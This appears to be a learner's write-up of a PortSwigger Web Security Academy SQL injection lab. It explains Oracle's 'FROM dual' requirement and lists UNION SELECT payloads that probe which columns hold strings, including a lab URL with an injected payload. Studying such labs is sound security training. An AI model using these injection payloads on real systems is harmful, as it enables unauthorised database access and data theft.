> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/sql-injection/lab-3.md).

# Lab 3

#### Oracle difference

Every SELECT in Oracle **must** have a FROM clause — even if you don't need a real table:

```sql
-- Normal databases (MySQL, PostgreSQL):
SELECT NULL, NULL

-- Oracle REQUIRES a table name:
SELECT NULL, NULL FROM dual
```

`dual` is a built-in fake table Oracle provides for exactly this purpose — when you need to run a SELECT but don't actually need a real table.

After you determine the number of required columns, you can probe each column to test whether it can hold string data. You can submit a series of `UNION SELECT` payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

`' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'--`

<figure><img src="/files/8KgpMnDHHjYn2vNbS1WS" alt=""><figcaption></figcaption></figure>

<https://0a9c00ac040ec394805b952c00ee00fd.web-security-academy.net/filter?category=Food+%26+Drink%27+UNION+SELECT+NULL,%27j3L3Mt%27,NULL-->

<figure><img src="/files/Pg65p1fjWqws9gRaaEYe" alt=""><figcaption></figcaption></figure>